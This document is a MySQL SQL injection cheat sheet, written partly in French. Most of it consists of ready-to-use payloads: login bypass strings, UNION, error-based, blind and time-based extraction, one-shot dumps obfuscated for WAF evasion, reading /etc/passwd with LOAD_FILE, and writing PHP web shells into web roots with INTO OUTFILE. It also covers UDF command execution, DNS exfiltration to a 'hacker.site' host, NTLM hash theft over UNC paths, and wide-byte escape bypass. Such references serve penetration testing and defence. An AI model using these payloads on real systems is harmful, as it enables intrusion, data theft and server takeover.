Cheat sheet

Databases

Name
Description

mysql

Requires root privileges

information_schema

Availalble from version 5 and higher

Commentaires

Type
Description

#

Hash comment

/* MYSQL Comment */

C-style comment

/*! MYSQL Special SQL */

Special SQL

/*!32302 10*/

Comment for MYSQL version 3.23.02

-- -

SQL comment

;%00

Nullbyte

`

Backtick

Test

  • Strings: Requête du type SELECT * FROM Table WHERE id = 'FUZZ';

    '       # Faux - Une seule apostrophe casse la requête, provoquant une erreur.
    ''      # Vrai - Deux apostrophes ferment correctement la chaîne, indiquant une injection réussie.
    "       # Faux - Un seul guillemet double, casse la requête.
    ""      # Vrai - Deux guillemets doubles ferment correctement la chaîne.
    \       # Faux - Un seul antislash casse la requête.
    \\      # Vrai - Deux antislashs s'échappent correctement, indiquant une injection réussie.
  • Numeric: Requête du typeSELECT * FROM Table WHERE id = 5;

    AND 1        Vrai   # Toujours vrai, pas d'erreur ; confirme une injection réussie.
    AND 0        Faux   # Toujours faux, provoque l'échec de la requête.
    AND true     Vrai   # Logiquement vrai, confirmant une injection réussie.
    AND false    Faux   # Logiquement faux, provoque l'échec de la requête.
    1-false      Renvoie 1 si vulnérable  
    1-true       Renvoie 0 si vulnérable 
    1*56         Renvoie 56 si vulnérable 
    1*56         Renvoie 1 si non vulnérable 
  • Login: Requête du type SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';

    ' OR '1         # Contourne l'authentification en renvoyant toujours vrai.
    ' OR 1 -- -     # Termine la requête prématurément, permettant l'accès.
    " OR "" = "     # Semblable à ci-dessus mais avec des guillemets doubles.
    " OR 1 = 1 -- - # Termine la requête prématurément, toujours vrai, contourne l'authentification.
    '='             # Peut contourner l'authentification selon l'implémentation.
    'LIKE'          # Souvent utilisé dans des requêtes où une correspondance est faite ; peut contourner les filtres.
    '=0--+          # Termine la requête prématurément avec une condition fausse.

Déterminer le nombre de colonnes

ORDER BY

1' ORDER BY 1--+   # Vrai (La requête accepte 1 colonne)
1' ORDER BY 2--+   # Vrai (La requête accepte 2 colonnes)
1' ORDER BY 3--+   # Vrai (La requête accepte 3 colonnes)
1' ORDER BY 4--+   # Faux - La requête n'utilise que 3 colonnes
                  # À ce stade, vous savez que la requête utilise 3 colonnes
                  # Vous pouvez vérifier en utilisant UNION SELECT
                  # 1' UNION SELECT 1,2,3--+   # Vrai

GROUP BY

1' GROUP BY 1--+   # Vrai (La requête accepte 1 colonne)
1' GROUP BY 2--+   # Vrai (La requête accepte 2 colonnes)
1' GROUP BY 3--+   # Vrai (La requête accepte 3 colonnes)
1' GROUP BY 4--+   # Faux - La requête n'utilise que 3 colonnes
                  # À ce stade, vous savez que la requête utilise 3 colonnes
                  # Vous pouvez vérifier en utilisant UNION SELECT
                  # 1' UNION SELECT 1,2,3--+   # Vrai

ERROR BASED

Utilisation de ORDER BY

Testez avec un grand nombre de colonnes dans la clause ORDER BY pour identifier combien sont utilisées :

1' ORDER BY 1,2,3,4,5,6,...,100--+
  • Erreur Possible: Unknown column '4' in 'order clause'

  • Interprétation: Indique que la requête utilise seulement 3 colonnes.

Pareil avec GROUP BY

Utilisation de UNION SELECT

Lorsque les erreurs sont activées, utilisez UNION SELECT pour déterminer le nombre de colonnes :

1' UNION SELECT @--+        # Erreur: Nombre de colonnes différent
1' UNION SELECT @,@--+      # Erreur: Nombre de colonnes différent
1' UNION SELECT @,@,@--+    # Pas d'erreur: La requête utilise 3 colonnes

Utilisation de LIMIT INTO

Si l'injection se fait après une clause LIMIT, utilisez cette méthode pour vérifier le nombre de colonnes :

' LIMIT 1,1 INTO @--+        # Erreur: Nombre de colonnes différent
1' LIMIT 1,1 INTO @,@--+      # Erreur: Nombre de colonnes différent
1' LIMIT 1,1 INTO @,@,@--+    # Pas d'erreur: La requête utilise 3 colonnes
  • Erreur Possible: The used SELECT statements have a different number of columns

  • Interprétation: Si aucune erreur n'apparaît avec 3 colonnes, la requête utilise 3 colonnes.

Extraction - information_schema

#Récupérer les noms de toutes les BDD
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = DATABASE()--

-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Récupérer les tables
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Récupérer colonnes
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Extraction sans information_schema

MySQL >= 4.1.

Extraire le Nombre de Colonnes

#Extraire le Nombre de Colonnes
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)

Extraire les Noms des Colonnes

?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null

Method for MySQL 5

# But : Vérifier si des colonnes sont dupliquées lors de la jointure. Les erreurs signalées (comme la duplication de la colonne id) permettent de déduire combien de colonnes existent et quelles sont leurs noms.
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

#Tester une jointure sur plusieurs colonnes (ici id et name). L’absence d’erreur montre que la combinaison de ces colonnes ne crée pas de duplications, ce qui aide à confirmer que ces colonnes existent dans la table sans duplication.
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...

Extraction - sans Nom de Colonne

  • Extraire la 4ème Colonne

SELECT `4` FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM users) AS dbname;
  • Explication : La requête UNION combine des colonnes fictives (1 à 6) avec les colonnes de la table users. On sélectionne ensuite la 4ème colonne de ce résultat combiné. Si la table users a moins de 6 colonnes, les colonnes fictives ajouteront des valeurs NULL pour les colonnes manquantes

Exemple d'Injection SQL

Si vous avez une requête comme :

SELECT author_id, title FROM posts WHERE author_id=[INJECT_HERE];

Injectez cette valeur :

-1 UNION SELECT 1, (SELECT CONCAT(`3`, ':', `4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM users) AS a LIMIT 1,1);
  • Explication : L'injection UNION combine les résultats de la table posts avec une sous-requête qui extrait les données de la 3ème et 4ème colonnes des résultats combinés.

  • 0x3a = :

MYSQL Error Based

Méthode de Base

Cette méthode fonctionne avec MySQL >= 4.1. Elle exploite les erreurs pour obtenir des informations

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

Explication : Cette requête exploite les erreurs pour vérifier si la version de MySQL est affichée en utilisant des calculs et des concaténations.

Fonction updatexml

-- Version de MySQL :
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-

-- Schémas de Base de Données :
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--

-- Tables d'un Schéma Spécifique :
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--

-- Colonnes d'une Table Spécifique :
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--

-- Données d'une Table :
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

Versions Simplifiées

# Version de MySQL
' and updatexml(null,concat(0x0a,version()),null)-- -

# Nom de la Table 
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

Extractvalue function

Works with MySQL >= 5.1

-- Version de MySQL :
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--

-- Schémas de Base de Données :
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--

-- Tables d'un Schéma Spécifique :
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--

-- Colonnes d'une Table Spécifique :
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--

-- Données d'une Table :
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--

NAME_CONST function (only for constants)

Works with MySQL >= 5.0

-- Version de MySQL :
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--

-- Utilisateur courant :
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--

-- Base de données courante :
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

MYSQL Blind

MYSQL Blind with substring equivalent

-- Vérifier un caractère spécifique de la version de MySQL :
?id=1 and substring(version(),1,1)=5

?id=1 and right(left(version(),1),1)=5
-- Vérifie également si le premier caractère de la version est 5, en utilisant une méthode alternative.

?id=1 and left(version(),1)=4
-- Vérifie si le premier caractère de la version est 4.

?id=1 and ascii(lower(substr(Version(),1,1)))=51
-- Vérifie si le premier caractère de la version est '3', en utilisant son code ASCII (51).

?id=1 and (select mid(version(),1,1)=4)
-- Vérifie si le premier caractère de la version est 4 en utilisant `mid()`.

-- Extraire des données spécifiques à partir des métadonnées :
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
-- Vérifie si le premier caractère des noms de tables est supérieur à 'A'.

?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
-- Vérifie si le premier caractère des noms de colonnes est supérieur à 'A'.

MYSQL Blind using a conditional statement

TRUE : Si la version de MySQL commence par 5 :

2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

Réponse : HTTP/1.1 500 Internal Server Error

FALSE : Si la version de MySQL commence par 4 :

2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2

Réponse : HTTP/1.1 200 OK

MAKE_SET

AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)

LIKE

  • Le caractère _ dans LIKE fonctionne comme le caractère . en regex. Il représente un seul caractère.

Trouver un code client avec un nom spécifique :

SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';

Ici, k__l recherche des noms de clients commençant par k, suivis de deux caractères quelconques, et se terminant par l.

Rechercher un produit avec un nom contenant une entrée utilisateur :SELECT * FROM products WHERE product_name LIKE '%user_input%';

Remplacez user_input par l'entrée recherchée pour trouver les produits dont le nom contient cette chaîne.

MYSQL Time Based

The following SQL codes will delay the output from MySQL.

  • MySQL 4/5 : BENCHMARK()

    +BENCHMARK(40000000,SHA1(1337))+
    '%2Bbenchmark(3200,SHA1(1))%2B'
    AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
  • MySQL 5: SLEEP()

    RLIKE SLEEP([SLEEPTIME])
    OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))

Using SLEEP in a subselect

1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')# 
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#

Using conditional statements

?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

MYSQL DIOS - Dump in One Shot

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+

-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+

-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+

-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)

MYSQL Current queries

This table can list all operations that DB is performing at the moment.

union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #

MYSQL Read content of a file

Need the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

If you are root on the database, you can re-enable the LOAD_FILE using the following query

GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#

MYSQL Write a shell

Into outfile method

[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Into dumpfile method

[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';

MYSQL Truncation

In MYSQL "admin " and "admin" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

`username` varchar(20) not null

Payload: username = "admin a"

MYSQL Fast Exploitation

Requirement: MySQL >= 5.7.22

Use json_arrayagg() instead of group_concat() which allows less symbols to be displayed

  • group_concat() = 1024 symbols

  • json_arrayagg() > 16,000,000 symbols

SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;

MYSQL UDF command execution

First you need to check if the UDF are installed on the server.

$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so

Then you can use functions such as sys_exec and sys_eval.

$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+

MYSQL Out of band

select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt

DNS exfiltration

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))

UNC Path - NTLM hash stealing

select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;

MYSQL WAF Bypass

Alternative to information schema

information_schema.tables alternative

select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Alternative to version

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

Scientific Notation

In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. The format is: base 'e' exponent.

For example:

  • 1e3 represents 1 x 10^3 which is 1000.

  • 1.5e3 represents 1.5 x 10^3 which is 1500.

  • 2e-3 represents 2 x 10^-3 which is 0.002.

The following queries are equivalent:

  • SELECT table_name FROM information_schema 1.e.tables

  • SELECT table_name FROM information_schema .tables

In the same way, the common payload to bypass authentication ' or ''=' is equivalent to ' or 1.e('')=' and 1' or 1.e(1) or '1'='1. This technique can be used to obfuscate queries to bypass WAF, for example: 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2

Conditional Comments

  • /*! ... */: This is a conditional MySQL comment. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the /*!. If the MySQL version is less than the specified number, the code inside the comment will be ignored.

    • /*!12345UNION*/: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher.

    • /*!31337SELECT*/: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher. Examples: /*!12345UNION*/, /*!31337SELECT*/

Wide byte injection

Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.

The SET NAMES gbk query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code.

Several characters can be used to triger the injection.

  • %bf%27: This is a URL-encoded representation of the byte sequence 0xbf27. In the GBK character set, 0xbf27 decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string.

  • %bf%5c: Represents the byte sequence 0xbf5c. In GBK, this decodes to a valid multi-byte character followed by a backslash (\). This can be used to escape the next character in the sequence.

  • %a1%27: Represents the byte sequence 0xa127. In GBK, this decodes to a valid multi-byte character followed by a single quote (').

A lot of payloads can be created such as:

%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' OR 1=1 -- --

Here is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote.

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());

Here's a breakdown of how the wide byte injection works:

For instance, if the input is ?id=1', PHP will add a backslash, resulting in the SQL query: SELECT * FROM users WHERE id='1\'' LIMIT 0,1.

However, when the sequence %df is introduced before the single quote, as in ?id=1%df', PHP still adds the backslash. This results in the SQL query: SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1.

In the GBK character set, the sequence %df%5c translates to the character . So, the SQL query becomes: SELECT * FROM users WHERE id='1連'' LIMIT 0,1. Here, the wide byte character effectively "eating" the added escape charactr, allowing for SQL injection.

Therefore, by using the payload ?id=1%df' and 1=1 --+, after PHP adds the backslash, the SQL query transforms into: SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1. This altered query can be successfully injected, bypassing the intended SQL logic.

References

Last updated